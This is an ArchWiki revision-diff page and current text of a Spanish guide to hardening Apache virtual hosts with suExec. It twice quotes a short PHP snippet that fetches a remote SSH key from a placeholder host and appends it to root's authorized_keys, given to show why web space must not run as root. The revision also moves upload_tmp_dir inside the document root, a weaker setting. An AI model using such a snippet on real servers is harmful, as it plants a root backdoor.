Difference between revisions of "Apache, suEXEC and Virtual Hosts (Español)"

From ArchWiki
Jump to: navigation, search
(8 intermediate revisions by 5 users not shown)
Line 1: Line 1:
[[Category:Redes (Español)]]
+
[[Category:Networking (Español)]]
[[Category:CÓMOs (Español)]]
+
[[en:Apache, suEXEC and Virtual Hosts]]
 +
[[zh-CN:Apache, suEXEC and Virtual Hosts]]
 +
== Apache, SuExec y los servidores virtuales==
  
{{i18n_links_start}}
+
Este documento describe cómo utilizar el módulo SuExec de Apache para suministrar servidores virtuales corriendo com un usuario sin privilegios. Generalmente es una buena práctica no permitir privilegios de superusuario a ninguna parte de lespacio web como muestra de manera un tanto brutal este ejemplo PHP:
{{i18n_entry|English|Apache, SuExec and virtual Hosts}}
+
{{i18n_entry|简体中文|Apache, SuExec y los servidores virtuales (简体中文)}}
+
{{i18n_links_end}}
+
 
+
== Apache, SuExec and virtual Hosts==
+
 
+
这个文档描述了如何去使用Apache的SuExec模块去架设虚拟主机运行在普通用户权限下. 通常情况下不让webspace用友超级权限是一个良好的习惯,就像下面这段brutal PHP代码显示的那样:
+
  
 
<pre>
 
<pre>
 
   <?php
 
   <?php
     # of course this link doesn't lead anywhere
+
     # este enlace por supuesto no lleva a ninguna parte
 
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
 
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
 
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
 
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
Line 19: Line 14:
 
</pre>
 
</pre>
  
你同意这个观点吗? 为了预防这一点,绝对不要让你的虚拟主机拥有任何写入数据的权限除了在他自己的主目录下. 不幸地这个方法要求Apache作为超级用户才能运行,但这不是大问题,因为您在缺省DocumentRoot目录下不需要超级用户也可以运行.
+
Coge la idea, verdad? Para impedir esto, no permita nunca a ningún servidor virtual tener acceso de escritura en ninguna parte excepto en su propio directorio personal o en el directorio DocumentRoot. Desgraciadamente este método requiere que Apache sea ejecutado como superusuario para que pueda ser capaz de convertirse en otro usuario pero esto no es una buena idea ya que usted no necesita que Apache se ejecute también como superusuario en el directorio DocumentRoot por defecto.
  
如果你打算有几个FTP帐户分别指向几个需要写入权限的空间而且这些空间里的文件可以被Apache读取的话,你应该考虑使用SuExec.
+
Debería usted condiderar también el uso de SuExec si pretende tener varias cuentas FTP apuntando a aquellos espacios web que necesiten permisos de escritura manteniéndose la posibilidad de lectura de los ficheros por parte de Apache.
 
<br>
 
<br>
==== Prerequisites====
+
==== Prerequisitos====
* 你需要熟悉基本的Apache的配置,尤其是虚拟主机
+
* debería estar familiarizado con la configuración básica de Apache
* 目标主机的管理员权限
+
** especialmente con los servidores virtuales
* 有关添加用户方面的知识
+
* Acceso de superusuario a la caja objetivo
* 会使用pacman
+
* Conocimiento acerca de añadir usuarios
 +
* saber trabajar con pacman
 
<br>
 
<br>
==== Adding SuExec module to Apache====
+
==== Añadiéndo el módulo SuExec a Apache====
* load the SuExec module in ''/etc/httpd/conf/httpd.conf'' like this
+
* cargue el módulo SuExec en ''/etc/httpd/conf/httpd.conf'' así
 
<pre>
 
<pre>
 
LoadModule suexec_module        lib/apache/mod_suexec.so
 
LoadModule suexec_module        lib/apache/mod_suexec.so
 
</pre>
 
</pre>
* make sure Apache's default DocumentRoot does not run as superuser either!
+
* asegúrese de que el directorio DocumentRoot por defecto de Apache no corre tampoco como superusuario!
 
<pre>
 
<pre>
  User http
+
  User nobody
  Group http
+
  Group nobody
 
</pre>
 
</pre>
 
<br>
 
<br>
  
==== Setting up a virtual Host to use SuExec====
+
==== Establecer un servidor virtual que utilice SuExec====
One way to do it is directly in ''/etc/httpd/conf/httpd.conf'' but I suggest to use a separate file if you intend to create more than just a couple of virtual hosts. Either way, a virtual host that is supposed to use SuExec may look something like this:
+
Una manera de hacerlo es directamnete en el archivo ''/etc/httpd/conf/httpd.conf'' pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:
  
 
<pre>
 
<pre>
Line 48: Line 44:
 
         ServerName myhost
 
         ServerName myhost
 
         ServerAlias  myhost.localdomain
 
         ServerAlias  myhost.localdomain
         # this is where requests for / go
+
         # aquí es donde van las peticiones de /
 
         DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs
 
         DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs
  
         # here you tell which user (myhost) and group (ftponly) Apache should use
+
         # aquí establece qué usuario (myhost) y qué grupo (ftponly) debería usar Apache
 
         SuexecUserGroup myhost ftponly
 
         SuexecUserGroup myhost ftponly
  
         # the following are optional but might be of use for you
+
         # lo siguiente es opcional pero podría serle útil
 
         ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
 
         ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
 
         php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
 
         php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
         php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/tmp
+
         php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/htdocs/tmp
        # Safe mode will be removed as of PHP 6. You may want to not enable it.
+
 
         php_admin_flag safe_mode On
 
         php_admin_flag safe_mode On
 
         ErrorDocument 404 /home/www/vhosts/myhost.localdomain
 
         ErrorDocument 404 /home/www/vhosts/myhost.localdomain
 
         <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
 
         <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
 
                 AllowOverride None
 
                 AllowOverride None
                Order allow,deny
 
                Allow from all
 
 
                 Options +SymlinksIfOwnerMatch +Includes
 
                 Options +SymlinksIfOwnerMatch +Includes
 
         </Directory>
 
         </Directory>
Line 70: Line 63:
 
</pre>
 
</pre>
 
<br>
 
<br>
Note that we set upload_tmp_dir to a folder that is outside the document root of your web site (not /home/www/vhosts/myhost.localdomain/htdocs/tmp). It should also be not readable or writable by any other system users. This is for security reasons: this way it cannot be modified or overwritten while PHP is processing it.
 
  
==== "Disabling" default DocumentRoot====
+
====Deshabilitando el directorio "DocumentRoot" por defecto====
To further harden your setup you can disable the default ''DocumentRoot'' in order to not have Apache execute anything as the superuser itself runs as. This procedure does not really disable it, rather points it somewhere where it's not remotely accessible anymore. It can be easily achieved by replacing your default ''ServerName'' with the following:
+
Para hacer más segura aún su configuración puede deshabilitar el directorio ''DocumentRoot'' por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ''ServerName'' por defecto con lo siguiente:
  
 
<pre>
 
<pre>
Line 79: Line 71:
 
</pre>
 
</pre>
  
==== Finishing up====
+
==== Rematando====
Like everytime you change default configuration parameters you need to restart Apache in order to make them have any effect.
+
Como siempre que se cambia la configuración por defecto hay que rearrancar Apache para que los cambios tengan efecto.
  
 
<pre>
 
<pre>
Line 86: Line 78:
 
</pre>
 
</pre>
  
==== External References====
+
==== Referencias externas====
* more in depth information about SuExec: http://httpd.apache.org/docs/suexec.html
+
* más información en profundidad acerca de SuExec: http://httpd.apache.org/docs/suexec.html
* same about VirtualHosts: http://httpd.apache.org/docs/vhosts/index.html
+
* lo mismo acerca de los servidores virtuales: http://httpd.apache.org/docs/vhosts/index.html
  
 
----
 
----
Author: kth5
+
Autor: kth5

Revision as of 08:15, 13 June 2012

Apache, SuExec y los servidores virtuales

Este documento describe cómo utilizar el módulo SuExec de Apache para suministrar servidores virtuales corriendo com un usuario sin privilegios. Generalmente es una buena práctica no permitir privilegios de superusuario a ninguna parte de lespacio web como muestra de manera un tanto brutal este ejemplo PHP:

   <?php
     # este enlace por supuesto no lleva a ninguna parte
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
   ?>

Coge la idea, verdad? Para impedir esto, no permita nunca a ningún servidor virtual tener acceso de escritura en ninguna parte excepto en su propio directorio personal o en el directorio DocumentRoot. Desgraciadamente este método requiere que Apache sea ejecutado como superusuario para que pueda ser capaz de convertirse en otro usuario pero esto no es una buena idea ya que usted no necesita que Apache se ejecute también como superusuario en el directorio DocumentRoot por defecto.

Debería usted condiderar también el uso de SuExec si pretende tener varias cuentas FTP apuntando a aquellos espacios web que necesiten permisos de escritura manteniéndose la posibilidad de lectura de los ficheros por parte de Apache.

Prerequisitos

  • debería estar familiarizado con la configuración básica de Apache
    • especialmente con los servidores virtuales
  • Acceso de superusuario a la caja objetivo
  • Conocimiento acerca de añadir usuarios
  • saber trabajar con pacman


Añadiéndo el módulo SuExec a Apache

  • cargue el módulo SuExec en /etc/httpd/conf/httpd.conf así
LoadModule suexec_module        lib/apache/mod_suexec.so
  • asegúrese de que el directorio DocumentRoot por defecto de Apache no corre tampoco como superusuario!
 User nobody
 Group nobody


Establecer un servidor virtual que utilice SuExec

Una manera de hacerlo es directamnete en el archivo /etc/httpd/conf/httpd.conf pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:

<VirtualHost 192.168.0.1:80>
        ServerName myhost
        ServerAlias  myhost.localdomain
        # aquí es donde van las peticiones de /
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs

        # aquí establece qué usuario (myhost) y qué grupo (ftponly) debería usar Apache
        SuexecUserGroup myhost ftponly

        # lo siguiente es opcional pero podría serle útil
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/htdocs/tmp
        php_admin_flag safe_mode On
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
                AllowOverride None
                Options +SymlinksIfOwnerMatch +Includes
        </Directory>
</VirtualHost>


Deshabilitando el directorio "DocumentRoot" por defecto

Para hacer más segura aún su configuración puede deshabilitar el directorio DocumentRoot por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ServerName por defecto con lo siguiente:

 ServerName localhost:80

Rematando

Como siempre que se cambia la configuración por defecto hay que rearrancar Apache para que los cambios tengan efecto.

 /etc/rc.d/httpd restart

Referencias externas


Autor: kth5